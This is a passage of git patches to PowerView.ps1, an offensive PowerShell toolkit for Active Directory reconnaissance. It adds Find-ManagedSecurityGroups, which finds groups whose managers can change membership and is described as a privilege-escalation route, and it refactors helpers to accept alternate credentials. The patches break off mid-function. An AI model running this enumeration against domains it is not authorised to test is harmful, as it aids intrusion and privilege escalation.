From 841150e1c69109442ee87e260ef69746fc38b349 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 28 Dec 2015 17:54:47 +0000 Subject: Added Find-ManagedSecurityGroups --- Recon/PowerView.ps1 | 71 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 57a5789..c38943d 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -11101,6 +11101,77 @@ function Find-ForeignGroup { } } +function Find-ManagedSecurityGroups { +<# + .SYNOPSIS + + This function retrieves all security groups in the domain and identifies ones that + have a manager set. It also determines whether the manager has the ability to add + or remove members from the group. + + Author: Stuart Morgan (@ukstufus) + License: BSD 3-Clause + + .EXAMPLE + + PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv + + Store a list of all security groups with managers in group-managers.csv + + .DESCRIPTION + + Authority to manipulate the group membership of AD security groups and distribution groups + can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically + used to delegate management authority to distribution groups, but Windows supports security groups + being managed in the same way. + + This function searches for AD groups which have a group manager set, and determines whether that + user can manipulate group membership. This could be a useful method of horizontal privilege + escalation, especially if the manager can manipulate the membership of a privileged group. + + .LINK + + https://github.com/PowerShellEmpire/Empire/pull/119 + +#> + + # Go through the list of security groups on the domain and identify those who have a manager + Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | Foreach-Object { + + # Retrieve the object that the managedBy DN refers to + $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname + + # Create a results object to store our findings + $results_object = New-Object -TypeName PSObject -Property @{ + 'GroupCN' = $_.cn + 'GroupDN' = $_.distinguishedname + 'ManagerCN' = $group_manager.cn + 'ManagerDN' = $group_manager.distinguishedName + 'ManagerSAN' = $group_manager.samaccountname + 'ManagerType' = '' + 'CanManagerWrite' = $FALSE + } + + # Determine whether the manager is a user or a group + if ($group_manager.samaccounttype -eq 0x10000000) { + $results_object.ManagerType = 'Group' + } elseif ($group_manager.samaccounttype -eq 0x30000000) { + $results_object.ManagerType = 'User' + } + + # Find the ACLs that relate to the ability to write to the group + $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers + + # Double-check that the manager + if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { + $results_object.CanManagerWrite = $TRUE + } + + $results_object + + } + +} function Invoke-MapDomainTrust { <# -- cgit v1.2.3 From aea2eacd2de516f889872703754404edeb90f644 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 11 Feb 2016 13:46:45 -0500 Subject: Most ldap-based search functions now accept a -Credential argument for querying from non-domain joined machines without a runas Changed several functions to filters, where appropriate. Get-NetShare, Get-NetSession, Get-NetLoggedOn, Get-NetRDPSession, Invoke-CheckLocalAdminAccess, Get-LastLoggedOn, Get-CachedRDPConnection, Get-NetProcess are now filters, better handle pipeline input, and now return an augmented result object with the queried ComputerName as a field Replaced RemoteUserName/RemotePassword with -Credential parameter in Get-CachedRDPConnection and Get-NetProcess modified output object for Get-NetShare to be a proper object Various bug fixes and better parameter validation --- Recon/PowerView.ps1 | 2513 +++++++++++++++++++++++++++++---------------------- 1 file changed, 1428 insertions(+), 1085 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c38943d..36e2693 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -714,11 +714,13 @@ function struct # ######################################################## -function Export-PowerViewCSV { +filter Export-PowerViewCSV { <# .SYNOPSIS - This function exports to a .csv in a thread-safe manner. + This helper exports an -InputObject to a .csv in a thread-safe manner + using a mutex. This is so the various multi-threaded functions in + PowerView has a thread-safe way to export output to the same file. Based partially on Dmitry Sotnikov's Export-CSV code at http://poshcode.org/1590 @@ -729,35 +731,31 @@ function Export-PowerViewCSV { http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ #> Param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True, - ValueFromPipelineByPropertyName=$True)] - [System.Management.Automation.PSObject] + [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] + [System.Management.Automation.PSObject[]] $InputObject, [Parameter(Mandatory=$True, Position=0)] - [Alias('PSPath')] [String] + [ValidateNotNullOrEmpty()] $OutFile ) - process { - - $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation - - # mutex so threaded code doesn't stomp on the output file - $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; - $Null = $Mutex.WaitOne() + $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation - if (Test-Path -Path $OutFile) { - # hack to skip the first line of output if the file already exists - $ObjectCSV | Foreach-Object {$Start=$True}{if ($Start) {$Start=$False} else {$_}} | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } - else { - $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile - } + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; + $Null = $Mutex.WaitOne() - $Mutex.ReleaseMutex() + if (Test-Path -Path $OutFile) { + # hack to skip the first line of output if the file already exists + $ObjectCSV | Foreach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile + } + else { + $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile } + + $Mutex.ReleaseMutex() } @@ -892,12 +890,12 @@ function Copy-ClonedFile { param( [Parameter(Mandatory = $True)] [String] - [ValidateNotNullOrEmpty()] + [ValidateScript({Test-Path -Path $_ })] $SourceFile, [Parameter(Mandatory = $True)] [String] - [ValidateNotNullOrEmpty()] + [ValidateScript({Test-Path -Path $_ })] $DestFile ) @@ -909,51 +907,56 @@ function Copy-ClonedFile { } -function Get-IPAddress { +filter Get-IPAddress { <# .SYNOPSIS - This function resolves a given hostename to its associated IPv4 - address. If no hostname is provided, it defaults to returning - the IP address of the local host the script be being run on. + Resolves a given hostename to its associated IPv4 address. + If no hostname is provided, it defaults to returning + the IP address of the localhost. .EXAMPLE PS C:\> Get-IPAddress -ComputerName SERVER Return the IPv4 address of 'SERVER' + + .EXAMPLE + + PS C:\> Get-Content .\hostnames.txt | Get-IPAddress + + Get the IP addresses of all hostnames in an input file. #> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$True)] + [Parameter(Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String] - $ComputerName = '' + $ComputerName = $Env:ComputerName ) - process { - try { - # get the IP resolution of this specified hostname - $Results = @(([Net.Dns]::GetHostEntry($ComputerName)).AddressList) - - if ($Results.Count -ne 0) { - ForEach ($Result in $Results) { - # make sure the returned result is IPv4 - if ($Result.AddressFamily -eq 'InterNetwork') { - $Result.IPAddressToString - } - } + + try { + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField + + # get the IP resolution of this specified hostname + @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { + if ($_.AddressFamily -eq 'InterNetwork') { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ComputerName' $Computer + $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString + $Out } } - catch { - Write-Verbose -Message 'Could not resolve host to an IP Address.' - } } - end {} + catch { + Write-Verbose -Message 'Could not resolve host to an IP Address.' + } } -function Convert-NameToSid { +filter Convert-NameToSid { <# .SYNOPSIS @@ -973,38 +976,43 @@ function Convert-NameToSid { #> [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] [Alias('Name')] $ObjectName, [String] - $Domain = (Get-NetDomain).Name + $Domain ) - process { - - $ObjectName = $ObjectName -replace "/","\" - - if($ObjectName.contains("\")) { - # if we get a DOMAIN\user format, auto convert it - $Domain = $ObjectName.split("\")[0] - $ObjectName = $ObjectName.split("\")[1] - } + $ObjectName = $ObjectName -Replace "/","\" + + if($ObjectName.Contains("\")) { + # if we get a DOMAIN\user format, auto convert it + $Domain = $ObjectName.Split("\")[0] + $ObjectName = $ObjectName.Split("\")[1] + } + elseif(!$Domain) { + $Domain = (Get-NetDomain).Name + } - try { - $Obj = (New-Object System.Security.Principal.NTAccount($Domain,$ObjectName)) - $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value - } - catch { - Write-Verbose "Invalid object/name: $Domain\$ObjectName" - $Null - } + try { + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName)) + $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ObjectName' $ObjectName + $Out | Add-Member Noteproperty 'SID' $SID + $Out + } + catch { + Write-Verbose "Invalid object/name: $Domain\$ObjectName" + $Null } } -function Convert-SidToName { +filter Convert-SidToName { <# .SYNOPSIS @@ -1020,95 +1028,94 @@ function Convert-SidToName { #> [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] + [ValidatePattern('^S-1-.*')] $SID ) - process { - try { - $SID2 = $SID.trim('*') + try { + $SID2 = $SID.trim('*') - # try to resolve any built-in SIDs first - # from https://support.microsoft.com/en-us/kb/243330 - Switch ($SID2) - { - 'S-1-0' { 'Null Authority' } - 'S-1-0-0' { 'Nobody' } - 'S-1-1' { 'World Authority' } - 'S-1-1-0' { 'Everyone' } - 'S-1-2' { 'Local Authority' } - 'S-1-2-0' { 'Local' } - 'S-1-2-1' { 'Console Logon ' } - 'S-1-3' { 'Creator Authority' } - 'S-1-3-0' { 'Creator Owner' } - 'S-1-3-1' { 'Creator Group' } - 'S-1-3-2' { 'Creator Owner Server' } - 'S-1-3-3' { 'Creator Group Server' } - 'S-1-3-4' { 'Owner Rights' } - 'S-1-4' { 'Non-unique Authority' } - 'S-1-5' { 'NT Authority' } - 'S-1-5-1' { 'Dialup' } - 'S-1-5-2' { 'Network' } - 'S-1-5-3' { 'Batch' } - 'S-1-5-4' { 'Interactive' } - 'S-1-5-6' { 'Service' } - 'S-1-5-7' { 'Anonymous' } - 'S-1-5-8' { 'Proxy' } - 'S-1-5-9' { 'Enterprise Domain Controllers' } - 'S-1-5-10' { 'Principal Self' } - 'S-1-5-11' { 'Authenticated Users' } - 'S-1-5-12' { 'Restricted Code' } - 'S-1-5-13' { 'Terminal Server Users' } - 'S-1-5-14' { 'Remote Interactive Logon' } - 'S-1-5-15' { 'This Organization ' } - 'S-1-5-17' { 'This Organization ' } - 'S-1-5-18' { 'Local System' } - 'S-1-5-19' { 'NT Authority' } - 'S-1-5-20' { 'NT Authority' } - 'S-1-5-80-0' { 'All Services ' } - 'S-1-5-32-544' { 'BUILTIN\Administrators' } - 'S-1-5-32-545' { 'BUILTIN\Users' } - 'S-1-5-32-546' { 'BUILTIN\Guests' } - 'S-1-5-32-547' { 'BUILTIN\Power Users' } - 'S-1-5-32-548' { 'BUILTIN\Account Operators' } - 'S-1-5-32-549' { 'BUILTIN\Server Operators' } - 'S-1-5-32-550' { 'BUILTIN\Print Operators' } - 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } - 'S-1-5-32-552' { 'BUILTIN\Replicators' } - 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } - 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } - 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } - 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } - 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } - 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } - 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } - 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } - 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } - 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } - 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } - 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } - 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } - 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } - 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } - 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } - 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } - 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } - Default { - $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) - $Obj.Translate( [System.Security.Principal.NTAccount]).Value - } + # try to resolve any built-in SIDs first + # from https://support.microsoft.com/en-us/kb/243330 + Switch ($SID2) + { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) + $Obj.Translate( [System.Security.Principal.NTAccount]).Value } } - catch { - # Write-Warning "Invalid SID: $SID" - $SID - } + } + catch { + Write-Debug "Invalid SID: $SID" + $SID } } -function Convert-NT4toCanonical { +filter Convert-NT4toCanonical { <# .SYNOPSIS @@ -1133,60 +1140,63 @@ function Convert-NT4toCanonical { #> [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $ObjectName ) - process { - - $ObjectName = $ObjectName -replace "/","\" - - if($ObjectName.contains("\")) { - # if we get a DOMAIN\user format, try to extract the domain - $Domain = $ObjectName.split("\")[0] - } + $ObjectName = $ObjectName -replace "/","\" + + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, try to extract the domain + $Domain = $ObjectName.split("\")[0] + } - # Accessor functions to simplify calls to NameTranslate - function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { - $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) - if ( $Output ) { $Output } - } - function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { - [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) - } + # Accessor functions to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) + if ( $Output ) { $Output } + } + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) + } - $Translate = New-Object -ComObject NameTranslate + $Translate = New-Object -ComObject NameTranslate - try { - Invoke-Method $Translate "Init" (1, $Domain) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" - } + try { + Invoke-Method $Translate "Init" (1, $Domain) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" + } - Set-Property $Translate "ChaseReferral" (0x60) + Set-Property $Translate "ChaseReferral" (0x60) - try { - Invoke-Method $Translate "Set" (3, $ObjectName) - (Invoke-Method $Translate "Get" (2)) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" - } + try { + Invoke-Method $Translate "Set" (3, $ObjectName) + (Invoke-Method $Translate "Get" (2)) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" } } -function Convert-CanonicaltoNT4 { +filter Convert-CanonicaltoNT4 { <# .SYNOPSIS - Converts a user@fqdn to NT4 format. + Converts a canonical user format to NT4 format. .PARAMETER ObjectName - The user/group name to convert, needs to be in 'DOMAIN\user' format. + The canonical name of the object to convert. + + .EXAMPLE + + PS C:\> Convert-CanonicaltoNT4 -ObjectName "dev.testlab.local/Users/Dave" + + Returns .LINK @@ -1195,7 +1205,10 @@ function Convert-CanonicaltoNT4 { [CmdletBinding()] param( - [String] $ObjectName + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] + [String] + # [ValidatePattern('.+/.+')] + $ObjectName ) $Domain = ($ObjectName -split "@")[1] @@ -1224,7 +1237,9 @@ function Convert-CanonicaltoNT4 { Invoke-Method $Translate "Set" (5, $ObjectName) (Invoke-Method $Translate "Get" (3)) } - catch [System.Management.Automation.MethodInvocationException] { $_ } + catch [System.Management.Automation.MethodInvocationException] { + Write-Debug "Error with translate Set/Get in Convert-CanonicaltoNT4: $_" + } } @@ -1264,7 +1279,7 @@ function ConvertFrom-UACValue { [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] $Value, [Switch] @@ -1272,7 +1287,6 @@ function ConvertFrom-UACValue { ) begin { - # values from https://support.microsoft.com/en-us/kb/305144 $UACValues = New-Object System.Collections.Specialized.OrderedDictionary $UACValues.Add("SCRIPT", 1) @@ -1297,7 +1311,6 @@ function ConvertFrom-UACValue { $UACValues.Add("PASSWORD_EXPIRED", 8388608) $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) - } process { @@ -1307,40 +1320,39 @@ function ConvertFrom-UACValue { if($Value -is [Int]) { $IntValue = $Value } - - if ($Value -is [PSCustomObject]) { + elseif ($Value -is [PSCustomObject]) { if($Value.useraccountcontrol) { $IntValue = $Value.useraccountcontrol } } + else { + Write-Warning "Invalid object input for -Value : $Value" + return $Null + } - if($IntValue) { - - if($ShowAll) { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") - } - else { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") - } + if($ShowAll) { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } - } - else { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") - } - } } } - + else { + foreach ($UACValue in $UACValues.GetEnumerator()) { + if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } $ResultUACValues } } -function Get-Proxy { +filter Get-Proxy { <# .SYNOPSIS @@ -1363,52 +1375,66 @@ function Get-Proxy { $ComputerName = $ENV:COMPUTERNAME ) - process { - try { - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) - $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") - $ProxyServer = $RegKey.GetValue('ProxyServer') - $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') + try { + $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) + $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") + $ProxyServer = $RegKey.GetValue('ProxyServer') + $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') - if($AutoConfigURL -and ($AutoConfigURL -ne "")) { - try { - $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) - } - catch { - $Wpad = "" - } + $Wpad = "" + if($AutoConfigURL -and ($AutoConfigURL -ne "")) { + try { + $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) } - else { - $Wpad = "" + catch { + Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL" } - - if($ProxyServer -or $AutoConfigUrl) { + } + + if($ProxyServer -or $AutoConfigUrl) { - $Properties = @{ - 'ProxyServer' = $ProxyServer - 'AutoConfigURL' = $AutoConfigURL - 'Wpad' = $Wpad - } - - New-Object -TypeName PSObject -Property $Properties - } - else { - Write-Warning "No proxy settings found for $ComputerName" + $Properties = @{ + 'ProxyServer' = $ProxyServer + 'AutoConfigURL' = $AutoConfigURL + 'Wpad' = $Wpad } + + New-Object -TypeName PSObject -Property $Properties } - catch { - Write-Warning "Error enumerating proxy settings for $ComputerName" + else { + Write-Warning "No proxy settings found for $ComputerName" } } + catch { + Write-Warning "Error enumerating proxy settings for $ComputerName : $_" + } } function Get-PathAcl { +<# + .SYNOPSIS + + Enumerates the ACL for a given file path. + + .PARAMETER Path + + The local/remote path to enumerate the ACLs for. + + .PARAMETER Recurse + + If any ACL results are groups, recurse and retrieve user membership. + .EXAMPLE + + PS C:\> Get-PathAcl "\\SERVER\Share\" + + Returns ACLs for the given UNC share. +#> [CmdletBinding()] param( [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [string] + [String] $Path, [Switch] @@ -1521,41 +1547,53 @@ function Get-PathAcl { } -function Get-NameField { - # function that attempts to extract the appropriate field name - # from various passed objects. This is so functions can have - # multiple types of objects passed on the pipeline. +filter Get-NameField { + # helper that attempts to extract the appropriate field name + # from various passed objects. [CmdletBinding()] param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - $Object + [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Object]$Object, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $DnsHostName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $Name ) - process { - if($Object) { - if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { - # objects from Get-NetComputer - $Object.dnshostname - } - elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { - # objects from Get-NetDomainController - $Object.name - } - else { - # strings and catch alls - $Object - } + + if($PSBoundParameters['DnsHostName']) { + $DnsHostName + } + elseif($PSBoundParameters['Name']) { + $Name + } + elseif($Object) { + if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { + # objects from Get-NetComputer + $Object.dnshostname + } + elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { + # objects from Get-NetDomainController + $Object.name } else { - return $Null + # strings and catch alls + $Object } } + else { + return $Null + } } function Convert-LDAPProperty { # helper to convert specific LDAP property result fields param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [ValidateNotNullOrEmpty()] $Properties ) @@ -1585,7 +1623,7 @@ function Convert-LDAPProperty { } } elseif($Properties[$_][0] -is [System.MarshalByRefObject]) { - # convert misc com objects + # try to convert misc com objects $Prop = $Properties[$_] try { $Temp = $Prop[$_][0] @@ -1617,7 +1655,7 @@ function Convert-LDAPProperty { # ######################################################## -function Get-DomainSearcher { +filter Get-DomainSearcher { <# .SYNOPSIS @@ -1645,6 +1683,11 @@ function Get-DomainSearcher { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-DomainSearcher -Domain testlab.local @@ -1654,8 +1697,8 @@ function Get-DomainSearcher { PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local #> - [CmdletBinding()] param( + [Parameter(ValueFromPipeline=$True)] [String] $Domain, @@ -1670,14 +1713,17 @@ function Get-DomainSearcher { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - if(!$Domain) { - $Domain = (Get-NetDomain).name - } - else { - if(!$DomainController) { + if(!$Credential) { + if(!$Domain){ + $Domain = (Get-NetDomain).name + } + elseif(!$DomainController) { try { # if there's no -DomainController specified, try to pull the primary DC # to reflect queries through @@ -1688,12 +1734,28 @@ function Get-DomainSearcher { } } } + elseif (!$DomainController) { + try { + $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + } + catch { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + + if(!$DomainController) { + throw "Get-DomainSearcher: Error in retrieving PDC for current domain" + } + } $SearchString = "LDAP://" if($DomainController) { - $SearchString += $DomainController + "/" + $SearchString += $DomainController + if($Domain){ + $SearchString += "/" + } } + if($ADSprefix) { $SearchString += $ADSprefix + "," } @@ -1701,30 +1763,45 @@ function Get-DomainSearcher { if($ADSpath) { if($ADSpath -like "GC://*") { # if we're searching the global catalog - $DistinguishedName = $AdsPath + $DN = $AdsPath $SearchString = "" } else { if($ADSpath -like "LDAP://*") { - $ADSpath = $ADSpath.Substring(7) + if($ADSpath -match "LDAP://.+/.+") { + $SearchString = "" + } + else { + $ADSpath = $ADSpath.Substring(7) + } } - $DistinguishedName = $ADSpath + $DN = $ADSpath } } else { - $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))" + if($Domain -and ($Domain.Trim() -ne "")) { + $DN = "DC=$($Domain.Replace('.', ',DC='))" + } } - $SearchString += $DistinguishedName + $SearchString += $DN Write-Verbose "Get-DomainSearcher search string: $SearchString" - $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + if($Credential) { + Write-Verbose "Using alternate credentials for LDAP connection" + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) + } + $Searcher.PageSize = $PageSize $Searcher } -function Get-NetDomain { +filter Get-NetDomain { <# .SYNOPSIS @@ -1734,41 +1811,70 @@ function Get-NetDomain { The domain name to query for, defaults to the current domain. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetDomain -Domain testlab.local + .EXAMPLE + + PS C:\> "testlab.local" | Get-NetDomain + .LINK http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG #> - [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [String] - $Domain + $Domain, + + 